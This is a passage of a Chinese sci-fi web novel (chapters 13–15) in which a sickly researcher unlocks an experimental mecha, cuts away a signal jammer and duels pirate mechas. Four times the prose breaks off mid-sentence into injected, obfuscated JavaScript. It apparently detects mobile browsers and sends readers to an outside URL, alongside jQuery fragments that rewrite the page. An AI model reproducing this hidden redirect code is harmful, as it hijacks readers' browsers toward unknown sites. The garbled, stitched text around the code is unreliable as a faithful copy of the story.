“那你的体质至少也有A级，应该也有接触基本的格斗技巧，如果和星盗起正面冲突，你能撂倒几个？” “撂倒？一个都不行，我赤手空拳，他们可有武器。” 程岩和老梁对视一眼，都看到对方眼中的迷惑。 这解锁者年纪似乎不大，是不是平时电影看多了，该不会以为人类还能徒手拆机甲？ 但那头的解锁者似乎是认真的。 “如果加上你们前面的两名安保人员呢？” “这……以他们的块头，一起扑上去的话，可以干掉一个。我刚才说过了，他们有子弹。”程岩委婉提醒，他赤手空拳，真的没办法空手接子弹。 “我知道。” 女声顿了一下。 “一个星盗带着冲锋枪，头领和副头领拿着的是电磁枪，还有两名，使用的武器是振动刀。” 解锁者似乎通过监控，把星盗们的武装情况摸得一清二楚。 但光是知道情况有什么用，他们不可能因为知道武器种类，就能躲开电磁子弹和振动刀，更不可能上去抢夺。 只要接近，他们就会被振动刀切成两半——不，在那之前就会被电磁子弹穿透身体。 女声似乎预判了他们的反驳，提出解决办法。 “我可以暂时削弱他们的武器，不过需要你们的协助。” “协助？” “我的座位底下有一个小包，是我离开前放在那里的，里面夹层有一个小方块，那是武器干扰仪，你是研究员的话，应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还好，头领并没有发现异常，三秒后，他移开视线，指挥两名手下去爆炸处查看情况。 咚咚捶着胸口的心脏，总算平缓下来。老梁轻轻靠在椅背上，小声喘着气。 “我真是，就算星际人类的平均寿命在200岁，也禁不起这么折腾啊。” 程岩手里掂着他们的目标物，一脸后怕：“还好我反应快，不然就被发现了。” 包飞出去的瞬间，程岩凭着他A级的体质带来的快速反应能力，伸出大长腿把小包给勾了回来。 差一点，真的差那么一点，星盗就会看到躺在走廊上的干扰仪。 要被发现计划，下一秒他们就躺在地上了。 程岩打开包，一个长方形的黑色小片摊在他手心，朴实无华。是便携性武器干扰仪。 倒是很能派上用场，不过一般人上星舰顶多带个游戏机，究竟是什么人会带这个？ 这解锁者兴趣好奇怪。 或者说她比较有危机意识？ · 作战开始的瞬间，陶影调整了客舱的光线和重力系统，扰乱了星盗的行为。 在乘客还没有反应过来的那数秒的黑暗中，客舱三名全副武装的星盗已经被完全控制。 与此同时，流散在星舰中的其他星盗，被星舰上接连不断的爆炸声，引导至防弹室。 他们甚至都不知道自己的一举一动，早就落入控制系统的眼中，监控下无所遁形。 防弹室的三层特制安全门被关闭，残忍凶恶的星盗，就像老鼠一样被关了起来。 ——当然，引诱他们的爆炸声，只是控制室通过广播系统放出的饵。就像老梁从赫莉手中接到干扰仪时，陶影制造来引开星盗的那声爆炸一样。 老梁按了按胸口，耳机那头传来解锁者可靠的声音。 “配合不错，梁，客舱接下来就交给你们了，我的同伴会和你们保持全程联络。” “等等，那你呢？” 那边的解锁者顿了一下。 “我们这边也遇到一些麻烦的情况，需要处理。” 13. 第 13 章 “刚刚收到客舱那边的联络。梁、程配合，已经成功取回了客舱的控制权。” “客舱安全了。” 陶影点头示意。 大家都松了一口气。 客舱的战斗已经结束了。 但货舱的战斗才刚开始。 “外界信号依然中断。我们无法向外界求救。” “哪怕指挥中心发现航行异常，短时间内也无法定位星舰坐标，更无法派出救援。” “那我们岂不是只能在这儿等着。” “也不一定，”陶影低头沉思，“我记得你们之前说过，在那声巨大的震动之前，还有过几次小震动，是吗？是从哪里传来的？” “应该是头顶吧？这有什么问题？” 陶影很快调出星舰外部的监控。 一条哑灰色的弹射轨道缓缓延伸而出，机甲缓冲回收区出现在众人眼前。 因为这艘星舰是旧式运输舰改造的，所以很多仪器都非常老旧，还坏掉了——屏幕的画面布满竖线。大家只能勉强看清缓冲区的甲板上，粘着一个黑色的巨大仪器。 “这黑乎乎的是什么东西？” “信号屏蔽仪。”陶影简洁道，手上操作没停。 “信号屏蔽仪？难怪我们离开了信号盲区还联系不上外面。这帮星盗怎么装备这么齐全，一般他们不是抢了就走吗？还这么大费周章？” 车研究员感觉自己快要长脑子了，她揪住头发，抓成鸟窝。 “算了，想不通，反正星舰上已经控制住了，现在还算安全，再等等，调度中心应该会发现不对劲。” 但安保大姐显然不赞成这个观点。 “不行，不能等，星盗肯定不止这些。” “啊？还没完，可是星舰的每个角落我们都翻遍了。” “我不是说星舰上，”安保大姐摇头，“是说他们在外的接应人员。周围星域肯定有他们的人在望风，如果这些星盗足够敏锐，应该已经发现星舰上的情况不对，一旦他们赶来，恐怕就没有这么容易解决问题了。不能光这么等着，我们得尽快主动联系上支援。” “而且调度中心的效率……我不好说。最近第二星系有虫袭，本身星警的人手就不足。指望调度中心呼叫支援，还不如指望附近星系的观测站发现不对劲。” “看来还是得先想办法，先把信号屏蔽仪拆掉。” 要想拆掉那个大东西，得通过机甲停泊区域前往机甲发射系统。 车研究员提出解决办法。 “这艘星舰的机甲停泊区域已经改建成了货舱，也就是说，我们现在所在的地方，就是停泊区。” “如果换上宇航服，可以通过廊桥上升，通过中间密封舱，再将甲板切换为外部开放状态，从而来到星舰外部，拆除屏蔽仪。” 说着车研究员找来两套宇航服。 陶影检查了一下，因为老旧气密性不好，完全无法使用。 车研究员气得咬牙切齿：“这艘星舰的安全检查是怎么过关的？！我要投诉！” 安保大姐拍拍她的肩膀。 “偏远星系嘛，检查的时候应付应付，出事之前都不会管你的。” “啧，所以说这种小地方……” “第一星系也这样，区别不大。”陶影顺口道。 “你又没去过第一星系你怎么知道？” “略懂人性罢了。垃圾星之所以那么多垃圾，不是因为这里的土地原本就长垃圾。” “是因为第一星系产生的垃圾太多了。” 大家：“……” 她听上去好像跟第一星系有点私人恩怨。 陶影埋头研究了一番。 屏蔽仪的位置太过刁钻，很难以技术手段解决掉。 她耸耸肩，总结道： “没办法了，只能试试能不能把恒我开出去，先砍掉信号屏蔽仪再说。” 反正刚才燃料也加满了，绕行程序也写好了。 “那谁开啊？缺失了一个能源核心，恒我的精神力要求是A。” “之前有一位二级机师上舰了，他现在正在赶来的路上。”陶影翻了一下记录。 “是叫程岩来着，应该能试试。” 说来就来。 一条大长腿跨入驾驶舱。 青年低下头，进入舱门。 机师身上总是有一种经过训练的特殊气质，哪怕是二级机师，也能看出和一般市民不一样。 这人上机经验应该还挺丰富的。 陶影手指在平板上摩挲两下，若有所思。 跟在机师身后的是一个戴着金属眼镜的中年男人，爬这一路似乎把他累得气喘吁吁。这个应该就是刚才通讯里的老梁了。 老梁抽出帕子抹了一把脑门上的汗水，面对略有些拥挤的驾驶舱，迟疑道：“哪位是刚刚通话的……？” “我。” 陶影半坐在椅子上，转过身来。 她头发湿漉漉的，脸色也非常苍白，手腕上的光脑还在报警，但眼神倒是非常冷静，似乎对她这种身体状况习以为常。 “你……就是解锁者？” 一个这么柔弱的学生？ 老梁有点不敢相信。 知觉机甲的驾驶员，在他的想象当中，不说有多强壮，最起码应该是一个身体健全的人吧。 这名学生面色苍白，不仔细看还以为是《太空女鬼·六》里的女鬼角色。一看就体弱多病，驾驶座被她坐出了一种轮椅的感觉。 感觉刚刚启动，就会被强烈的推背感推到骨折。 确定真的是恒我的解锁者吗？ …… “解锁者是什么意思？”安保大姐问了一句。 这个事情本来属于柏氏工业的内部机密，不应该往外说，但现在情况紧急，也顾不了那么多了，老梁解释道：“恒我只有特定的人才能启动，我们管Ta叫‘解锁者’。” “啊？机甲还带滴血认主的？” “这个说来话长，我也说不清原理，但你可以这么理解……要是陶影研究员还活着应该可以解释……唉。” 陶影：“……”虽然陶影研究员还活着，但她本人不太能解释。 生物权限限制模块，恒我确实有，但陶影并没有往里注入奇怪的用户数据，更没有锁死权限。 这名解锁者SPIRAL，她也不知道是哪里来的用户。 但既然不是她做的，那只能是其它原因了。 陶影往前探头，问：“这是柏氏工业添加的安全模块？” 老梁摇摇头：“不是。我们的核心技术人员比较老派，不提倡动精神力模块。所以拿来就只改装了高温损坏的部分元件，其它都维持原样。这个，你可能不懂，前人传下来的代码要是还能运行，就千万别自作主张去改……” 她懂这个道理，太懂了。 陶影扼腕。 得益于柏氏工业的稳健风格，她今天调试能源核心时候的操作才能这么顺畅。 但那就更奇怪了，既然他们没有改，那这个精神力模块究竟是哪里来的？ 数据传输不完全产生的bug？ 陶影还在思考，安保大姐已经不耐烦了。 “管他什么原理，能用才是真的，那解锁者是谁？” “就是她。”二级机师指了下陶影。 “她？” 安保大姐一脸不相信。 “她这个样子看上去像是能开机甲的吗？她开摇摇车都能晕。” 陶影沉思了一下，也没否认安保大姐这个话：“是啊，我之前在杀马特星坐车的时候，因为脸色太过苍白，还有八十岁的老太太主动给我让座。我友好拒绝之后，被她孙女强行绑在了座位上，下车的时候才把我放走。” “真的假的？” “假的。” “……” “我开玩笑的，不用这么严肃。” “不像假的。” “猜得很准，的确是根据真实事件改编，”陶影严肃地点头，“我身体不好，而且几乎……完全没有驾驶经验，不太适合驾驶机甲，还是让程岩机师先试开吧。” “OK。”“没意见。”“赞成。” 大家都不否认这个看法。虽然老梁一再科普解锁者这个概念，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585893|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比起细胳膊细腿的陶影，大家显然都觉得程岩更适合开恒我。 “那……也没其它办法了。” 程岩大长腿一跨，坐上驾驶座。 程岩将手放在生物识别面板上，绿色的扫描线刷过，大家屏息等待，但片刻后，屏幕上弹出错误窗口。 【警告：未识别到SPIRAL权限。】 “小心！” 只见程岩的头顶，一堆电子化透明触手垂下来，试图对他进行攻击。 程岩连滚带爬从驾驶座下来。 触手见他离开，也没有追他，缓缓收回。 “这？这是什么东西？！” “精神力触手？” “听说精神力S+的能力者似乎可以将精神力凝结成触手，对别人的精神进行干扰……但那不是传说中的概念吗，我一直以为是一种艺术化的描述，结果它是真实存在的？” “恒我是知觉机甲，它的精神力模块可以模拟出触手的攻击形态。不过你说得也对，对人类来说，‘精神力触手’的确还是一种艺术化描述，目前没有听说过，人类精神力可以产生实体触手。” “恒我做到的实际上是一种电子化模拟。看上去是触手，但实际上是对人脑的攻击，是一种电子化的精神力攻击。” 安保大姐总结出重点。 “总之，就是这个什么机甲不允许他驾驶的意思？” 老梁无奈道：“所以我都说了嘛，要解锁者才行……” “那要不换人再试试？我总觉得……” 大家的视线停留在陶影身上，都是一副不太信任的神情。 陶影摊手。 她也不想当什么解锁者的好不好？ 车研究员自告奋勇地举手。 “我来试试。” 将手放到身份识别面板上，闪过一道光线后，精神力触手倒是没有攻击她。只是慢悠悠伸到车研究员的屁股底下，把她稳稳当当地托到一边。 车研究员满头大汗，眼中闪烁着光。 “恒我，你果然还是爱我的。” 陶影：“……” 都说了少看点星火科学系列节目，恒我没有自我意识。 安保大姐拉着所有人都上驾驶座试了一次，但结果——都不行。 恒我拒绝所有人的驾驶。 区别仅在于，是被强硬地赶下来，还是被温柔地赶下来。 看来没有办法绕过权限，大家虽然多有不信任“解锁者”这个说法，但也没有其它办法了。 大家的视线齐齐投向陶影。 陶影：“……” 她看了一眼自己的光脑助手。 心率：65。 状态：燃脂。 健康建议：即刻就医。 “……” 这个事情吧，不是说她不想上。 主要是身体条件不太允许。 “要不你们再试一次？” 十分钟后。 几名精神力B+的员工躺在了地上。 陶影抬眼，看了下罪魁祸首——头顶的精神力触手。 不知道是不是她错觉，在和她“对视”的瞬间，精神力触手似乎瑟缩了一下。 大家的视线齐齐投向—— “好了好了我知道了。”陶影无奈地举手投降。 那她先试试，万一不行呢。 陶影坐上驾驶座，手贴近识别面板，一阵快速的扫描后，电子音播报“已识别到SPIRAL权限”。 三秒，仅仅三秒，就通过了权限检测。 精神力触手把陶影推向驾驶座，微型数据针刺入后颈。 【定位完成，开始扫描。】 【神经接驳启动，请勿离开连线。10%——30%——90%——100%，SPIRAL权限已接入。】 【共鸣指数0.2，兼容指数0.4，神经同步率80%，连接良好。】 【能源系统，运行正常。正在调节适配参数——调节完成。】 【本机恒我已全部就绪，等待您的指令。】 【——欢迎归位，SPIRAL。】 14. 第 14 章 “就，就这么简单？”安保大姐一脸呆滞。 “我们刚刚明明被触手攻击得那么惨。” “所以都说了，解锁者以外的人不行。我有什么必要骗你们？”老梁无奈地再次解释。 · 货舱，机甲停泊区，研究员正在紧张地在调试发射系统。 为了让机甲离开舱内，需要解除固定机甲位置的自动锁扣，通过磁悬浮轨道将机甲引导至中层的密封舱，再通过弹射轨道，将机甲从甲板快速送入太空。 随着机甲锁扣的解除，机甲前的停泊信号指示灯由红色跳转为绿色，液压支撑臂缓缓收回，为机甲腾出移动的空间。 【磁悬浮轨道已接入，开始自动引导程序。】 【密封舱开启。】 机甲跟随磁悬浮轨道进入密封舱，随后巨大的隔离门在身后关闭。 气阀启动，发出嘶嘶的排气声。 通往太空的舱门缓缓打开，黑暗的宇宙中闪烁着微弱的星光。 【密封舱加压完成，弹射轨道激活。】 【弹射距离五十米。】 【倒计时，5，4，3，2，1——发射。】 瞬间，一道炽白色的光束沿着弹射轨道猛烈爆发，驱动机甲弹出。 黑色天鹅腾空而起，留下一道浅蓝色弧线。 由于只需要到达机甲表面，加速装置的速度设置为最小，机甲只是经由弹射轨道，被缓缓推送至两百米外。 本来应该是这样。但前提是——机师进行了合理的控制操作。 陶影显然没有。 倒不是她不想。 主要是她失去意识了。 机甲后背的推进器一直没有启动，能源核心甚至没有亮起。 因为缺乏大气的阻碍，机甲没有人控制，失去平衡，眼看就要一路飞去数十公里外的小行星带。 “……哎哎，同学，你要让机甲停下来啊！” 老梁他们在背后急得快要跳起来了。 因为信号屏蔽仪，研究员的联络没办法传达到陶影的地方，他们只能眼睁睁看着。 “我就说，怎么能让一个学生干这种事情呢！” 星舰内，安保大姐一拍桌子。 “什么解锁者解锁者的，她不就一小孩吗！要是回不来了怎么办？你们这帮搞研究的就是只会用脑子想，一点都不管危险性！” 车研究员试图控制局面。 “应该没什么大问题吧，能源系统她自己改写的，要是没自信，她也不会上去。” 老梁不可置信地推了下眼镜：“改写能源系统？” 什么情况？那东西是一般人能改写的吗？ “她改了什么？” “哦，就是能源模块缺了一个核心，她写了个绕行程序。” 老梁险些晕了过去。 “你们就这样让一个学生上手改程序？！” “唔，这个很简单吧，她改了有十几分钟呢。我们老大的话，可能五分钟……” “正常什么正常，核心系统是陶影研究员写的，你拿一个学生跟莱机所首席研究员比？！陶影什么水平你们心里没数吗！” “那肯定比你清楚。话说回来，谁叫柏氏工业要把机体拉去销毁的，不都是你们的责任？” “哎，唉，你们真的是。”老梁气得直擦眼镜。 车研究员抱臂：“以我二十年的机甲调试经验来说，只要机甲能开动，就没什么大问题。” “只是……” “只是什么？” “只是解锁者这个时间点出现在这里，也太巧了。” 而且这位解锁者的行事风格和她们老大，实在太像。 难道…… 车研究员严肃地转过头，看向大龙。 “老大的骨灰真不是你偷的？没拿她DNA去做什么违法的基因改造吧？” “……”大龙举起双手，“真不是我偷的。” “那就奇怪了，除了我们还有谁有胆子跑去爱荷华家的墓地挖坟……” “等下，启动了启动了，机体停止旋转了！” 此刻恒我内的陶影终于在短暂失去意识后，又醒过来，在咳嗽两分钟后，成功通过精神力启动了恒我的推进器。 【小影……主人，你还好吗？】 “不太好。” 陶影捂住胸口，有点岔气。还没从旋转的晕厥感中缓过神来。 浑身上下都不好，还想吐。 腰疼，腿疼，胸口也疼，喘不过气，怀疑刚刚那股强烈的推背感推断了她的胸部骨骼。 话说光脑助手的声音听上去怎么不太对，似乎突然变了三秒少年音，还喊了她一声小影？ 上次有人这么叫她是很久以前了。 ……应该是她意识模糊听错了吧。 陶影晃晃脑袋，坐直身体： “光脑助手，身体状况。” 光脑系统顿了一下，迅速根据指令扫描她的身体情况。 【你好主人，和之前一样，到处都是问题。】 陶影：“……” 【你想先了解哪一部分？】 “不用了解了。” 陶影面无表情。 没死就是还活着，还活着就是没问题。 头上的触手闪过萤光，机甲的右手也跟随着运动。 陶影的视线落在HUD面板上。 面板上分布着剩余燃料、武器模块等信息，以及对机师来说最重要的信息——视野。 她现在距离星舰大概有十公里左右，已经快到星际交通局标识的危险区域。 还好醒得正是时候，再迟一点，恒我就要撞上小行星带了。 陶影不太熟练地操作着面板。 她以前也操纵过精神力机甲，但大多是在实验场地进行一些基本的测试，并没有进行过长时间高强度的驾驶，简单来说—— 她只知道驾驶原理，但不太会开知觉机甲。 学界经常会有这种误解：你研究的方向就是机甲系统，你难道不会开机甲吗？多少会一点吧？ 是的不会。 究竟是谁在觉得写程序的都会开机甲？ 这是误会，大大的误会。 陶影努力回想以前编写的驾驶注意事项，在脑中尝试控制，但精神力控制并不熟练。 她只能先用操作台上的机械按钮，凑活操纵。 虽然从知觉机甲设计的角度来说，这些按钮非常累赘，但对现在的她，一个机甲菜鸟来说，挺适合的。 让她看看，这个键是……抬左脚。 恒我的左腿抬了起来。 右脚。 恒我的右腿抬了起来。 左左右右上上。 ……不对，现在有正事要做。 陶影轻咳一声，差点玩上瘾了。 你别说，这些按钮正反馈还挺强。如果不是现在情况紧急，她很想把键一个个挨个试过去。 机甲摇摇晃晃，一路左冲右撞地往星舰的方向飞去。 此刻，客舱内也在注视着这边的动向。 乘客们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585894|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴在窗户上，看着那台神秘而优雅的黑色机甲，朝她们非常滑稽地飞来。 “轰隆——” 机甲结结实实地在星舰表面撞出一个坑。 研究员忍不住拍了一下舰舱的窗户。 “不是解锁者吗，怎么驾驶技术这么……” “她刚刚不是说了，以前没有驾驶机甲的经验，不熟练也正常。” “真不知道这个选择解锁者的条件是什么。精神力吗？我的精神力也有B+啊。” “说不准解锁者的精神力有A呢？” “精神力都是和体质挂钩的，她体质这么差，精神力怎么可能高，这不符合常理。” “机甲都能滴血认主了，你跟我说什么常理。” “……” 而另一边，客舱内的乘客，显然也注意到了陶影机甲的动向。 大家脸都贴在舷窗上，拼命往外看。 “怎么样怎么样了！” “呃……” “不怎么样。那台黑色机甲开得东倒西歪的。” “这机师不太靠谱啊？” 大家对解锁者的驾驶能力都颇为不信任，但很快，那台机甲的机师似乎熟练了操作，站了起来。 “哦哦哦！她动了，她似乎会操作了！她站起来了！” 很快，机甲来到了信号屏蔽仪附近，它掏出了身上唯一的武器——热力刀。 在一连串颤颤巍巍的操作之后，它终于对准信号屏蔽仪，砍了下去。 “来网啦来网啦！” “我给妈妈报个平安。” “遇事不慌，先发条朋友圈。” “我开个直播！” 大家正在兴奋的时候，有乘客突然眉头一皱。 星舰百米之外，有两个小点，是什么大块太空垃圾吗？看不清。 乘客掏出双筒望远镜，凑到目镜前，对准那两个小点，将图像调节到清晰。 那是两台机甲。 蓝色机甲肩膀上驾着激光炮。 黄色机甲的右手背上，有伸出的振动刀。 两台明显都是战斗型机甲。 激光炮能远程切破坏敌方机甲的关键部位，迅速准确。振动刀则是近战武器，常常用于破坏装甲。 乘客手一松，放下望远镜喃喃道。 “这种地方为什么会出现战斗型机甲。” 索尼娅接过她手中的望远镜，也把脸贴在了舷窗上：“他们的武器，好像都是专门用于破坏装甲的……我有种不详的预感。” 本杰明吞了一口口水：“我同意你的看法。” 星舰突然剧烈震动起来，略显拥挤的船舱中，充斥混乱和叫骂声。 沙沙、沙沙。 广播里恼人的杂音依旧没有停止。 就在众人即将打开客舱舱门，寻求帮助的时候，一道尖锐刺耳的金属刮擦声，如同刀锋一样割开众人耳膜。 与此同时，黄色的机甲从望远镜内消失。随后，另一台机甲也消失了——不，不是消失，是被遮住了。 庞大的机甲逐渐从幽深的宇宙中浮现，轮廓瞬间遮挡了右侧的舷窗。 黄色机体如同蜘蛛一般，牢牢扒住星舰——锋利的振动刀插在舰船顶上，伴随着刺耳的切割声，舰仓再次开始震动。 随后，它的头部贴上星舰。 电子眼转动几下，闪烁着蓝色的扫描光线，冰冷地透过小小的舷窗，审视众人。 令人头皮发麻的冷意，从脊椎爬上几人的后颈。 “是，是星盗的机甲！” 15. 第 15 章 星盗所驾驶的机甲，是经过非法改装的屠杀者型号，携带杀伤性武器，破坏性极大。 速度够快，机动性够强，能在数秒内砍掉星舰的能源舱。 哪怕是一台，对雾海号来说，也是毁灭性的打击。 更何况，有足足三台。 陶影只能暂时引开他们。 一开始发现陶影开的是知觉机甲，对方星盗很谨慎，并没有主动攻击。 但试探一番之后，大概发现陶影还是个新手，攻击越发猛烈。 陶影有点招架不住。 “哪里来的菜鸟，屁股不小心坐驾驶座上了吗，连操纵杆都不会摇的小屁孩，就想来和我们打？” 公频里传来星盗的嘲笑。 陶影咬咬牙。额上的汗珠不要钱地往下滑。 没有多余的力气说话。 知觉机甲对精神力的消耗不小，再加上恒我缺失了一个能源内核，更增加了陶影的精神力消耗。 她的精神力就像一条被不停拉扯的弦，时不时抽动一下。 头部的精神触手似乎察觉到陶影的状态，在试探性地调整和她精神力接触的方式，尽可能缓和她的驾驶压力。 星舰内传来通讯。 “解锁者，再坚持一下，只要等到救援小队过来，你就断开精神力链接，不要硬撑，知道吗？” 陶影百忙之中，艰难地用嘴型回复了一个“好”字。 不用提醒，她现在就想立刻断开精神力链接跑路，谢谢。 开机甲是她该干的活吗。 而且第一次开机甲就打三个星盗，认真的？ 光脑似乎已经放弃提醒她的身体情况了，此刻正在转着圈圈。 刚才一刀砍掉了信号屏蔽仪，现在星舰附近的通讯应该已经恢复了正常。 再坚持一会儿…… 陶影微弱的呼吸突然稳定下来。 精神力刚连接上，大量来自机甲的精神力冲击，让她有种想要呕吐的感觉。 但随着她与机甲的连接愈发紧密，呕吐感逐渐消失，取而代之的是一种被包裹，和机甲融为一体，回到母体的安全感。 对机甲的操作也越来越得心应手。一切的驾驶方式，都在她的精神力中浮现。 一点一点。 就像说明书一样，印在她的脑中。 陶影对机甲驾驶从没有产生过兴趣，哪怕这次也只是迫于情形，不得不坐上驾驶席。 但此刻，她好像了成为一名真正的机师。她有一种莫名的冲动，不想离开这个位置。 她天生就属于这里。 不想把驾驶席让给任何人。 也许是和恒我的精神力协同后，她的精神也受到了影响。 陶影的身体累到极致，头脑却像灌满了咖啡因，愈发清晰起来。 她听到“恒我”传达而来的情绪。 【我想战斗。】 ——你想战斗？ 陶影试探着，朝精神力连接的另一端这样询问。 头顶的精神触手，感受到陶影的疑问，欢快地抖动了两下。 【我想战斗。】 精神力触手兴奋地舞动着。 它等了十年，也许从被制造出来那天开始，更久更久的时间。 【请操纵我吧。请和我一起战斗。SPIRAL。】 【我一直在等待你。在无限的螺旋的终点。】 “哦，好……”陶影面无表情地点点头。 你们柏氏工业的工程师成天都在干什么，恒我的性格参数被调成什么了都。 陶影内心一边吐槽，一边再次避开星盗的攻击。 话说，是不是因为精神力链接更稳定了，她的精神力好像莫名轻快了一点？ 甚至不知道什么时候开始，面对星盗的攻击，她竟然还能腾出一只手擦汗？ 真的很想立刻撂挑子不干，但救援小队的消息迟迟没有来。 “小心！” 背后有一道风声，带着杀意。 陶影来不及转身，只能锁定背后装甲，硬着头皮扛下。 下一秒，星盗的重刃狠狠砸下。 “轰——” 恒我直接被抛飞数百米。 脊椎深处都传来震颤的感觉。 陶影稳住身形，硬生生把喉咙的血咽了回去。 朋友，还不是吐血的时候。 陶影生无可恋地闭眼。 会晕血的。 · “首领还没有联络吗？” “没，星舰上的人跟死了一样。”星盗无聊地摸着操纵杆。 三名星盗齐齐叹气。 他们星盗团接了个单子，内容是接收，并运送一台机甲到指定的地点，同时抹消掉所有目击者。 三台屠杀者，被安排负责外部警戒。 按照原定的计划，这个时间点，一切都应该结束了。 机甲运送完成，他们收到尾款，美美离开。 但和预计的时间不同，星舰上迟迟没有传来联络。 “首领不会出事了吧？” “我就觉得这单子没那么简单。问首领他也什么都不说。” “现在怎么办？先联系雇主？” 三分钟后。 星盗一巴掌拍在驾驶舱上。 “雇主那边威胁我们，如果不毁尸灭迹，我们就收不到尾款。” “什么？他是让我们把首领和星舰上的同伴全干掉吗？！” “那……” 三名星盗对视片刻，达成了共识。 雇主给的钱实在太多了。 虽然星舰上还有同伴，但如果他们死了，尾款就可以由他们三个平分了。 本来就是没什么道德感的人。 三名星盗在头顶划了个十字，向宇宙之神祈祷。 “让整艘星舰的人，为我们的同伴陪葬吧。” 完全没有诚意地祈祷完，他们的视线又回到那台唯一的机甲上。 纯黑色的机甲。 黑色的身体由金属构造，流线型的线条，美丽而神秘。 一种生命感从坚硬的金属中传出。 说不出来什么型号，但一看就不是便宜的量产型机甲。 纯粹的战斗型机甲。 刚看见这台机甲的时候，星盗们都是本能性地一颤，背后油然而生一种寒意。 但——他们还没来得及恐惧，那台机甲在星舰上—— 踩滑了。 机甲是好机甲，就是机师太菜了。 “而且竟然一点远程武器都没有。” 黑色机甲唯一的武器就是手上的热力刀。 虽然热力刀硬度极高，但属于近战武器，对他们这种机动性极高的小型机甲来说，算不上威胁。 而他们可是全副武装。 打败它毫无悬念好吧？ 两个星盗缓缓逼近，还有一名星盗朝陶影架起大炮。 而同时，另一边，陶影观察战局，思索片刻后，无奈地拍拍操作台。 “真没办法，谁让我说愿意为你付出生命呢。” 来都来了，她要是不硬上，那也还是会死，对吧？ 刚刚这帮星盗，在发现恒我之前，打算直接把星舰炸掉。如果不是她反应快，操作恒我拦着，现在星舰已经变成太空垃圾了。 所以，接下来她要做的事，是被迫的。 ……她绝对不是自愿开机甲的啊。 但如果这时候，陶影能察觉到自己的表情，就能发现—— 她在笑。 满脸兴奋地。浑身刺激地。 在笑。 【精神力共鸣指数持续上升——30%——80%——100%。】 【——ResonanceAplished.】 神经信号如星河般闪耀，意识在电子洪流中流淌。 心跳声和机甲的轰鸣起舞。 她听见机甲的呼吸声。 古老而冰冷的钢铁。 血管中的冷却液。 他们融为一体。 陶影的精神力，和恒我之间产生了极强的共鸣。 机甲的速度，骤然间提升了十倍。 【收到一条新的私频联络。】 “你好，这里是柏氏工业雇佣的救援小队，请问是雾海号的相关人士吗？你的具体坐标在哪里？” 陶影迟迟没有回答，耳机那头传来疑惑的声音。 “那个？机师？这里是救援小队，请问你的坐标……？” 陶影睁开眼，眼前是整个宇宙。 海量的精神力信息几乎把她的意识冲散。 但没有。她稳住了。 她站立在宇宙中。抬起手，握住机甲的心脏，摘下其中一颗。 “坐标？” 陶影意识回笼，握紧操纵杆，沉沉地说。 “哦，对，坐标。” 下一秒，恒我的胸口爆发了一道闪光，有如突然迸发的超新星。宇宙的黑暗瞬间被撕裂，耀目的白金色的让人睁不开眼睛。 一片寂静中，陶影缓缓道：“现在非常明确了吧，坐标。” 救援小队看着远处刺目的亮光，目瞪口呆。 “明，明确了……” 看得不能再清楚了。 不过这名机师刚刚干了什么？ 她掐掉了一颗能源核心？就为了给他们发坐标？ 虽然这样效率确实挺高的，他们可以直接找准方向，但是，啊？ 什么人类会选择这种发坐标的方式？！ 陶影掐掉了联络。 公频里的星盗还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585895|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在嘲笑她垂死挣扎般的行为，但陶影的心中一片平静。 知觉机甲依靠精神力驾驶。 和传统的机械机甲相比，其优势在于——映射速度。 距离援军赶来，大概还有十分钟。 现在，她要大闹一场了。 · 能源核心爆炸不仅向救援队伍传递了坐标，还引来附近星球监测中心的注意。 “注意！注意防范，GX003-A3-B5-C24出现四台未登记机甲！” “其中屠杀者三台，另一台型号不明，初步判定为知觉机甲，请各部门做好战斗准备。” “等……稍等。刚刚接到柏氏工业联系，黑色机甲为他们管辖的实验性机体。” “什么，实验性机体怎么会在这种地方启动！” “我怎么知道！” 监测中心的人忙着四处打电话，还要兼顾通知同事，甚至都维持不了工作态度，险些破口大骂。 他们星球的警力根本无法支撑，就只能干看着，或者寻求上级组织的保护。 除了官方的监测组织，民间的监测组织自然也注意到了宇宙中的异常情况，他们将照片发布后，引起了机甲爱好者的热烈转发。 【家人们，无名星附近拍到了一台战斗型机甲，我没见过这个型号，有没有懂的人来帮忙看看！】 【我也没见过，同问。】 【同问+1】 【+1】 【好像是知觉机甲哎。】 【但没有爱荷华科技的标志啊，难道是实验型号？】 【唔，不好说，外形设计很简洁，表面有黑色的光学隐匿涂层，有点柏氏工业的风格。】 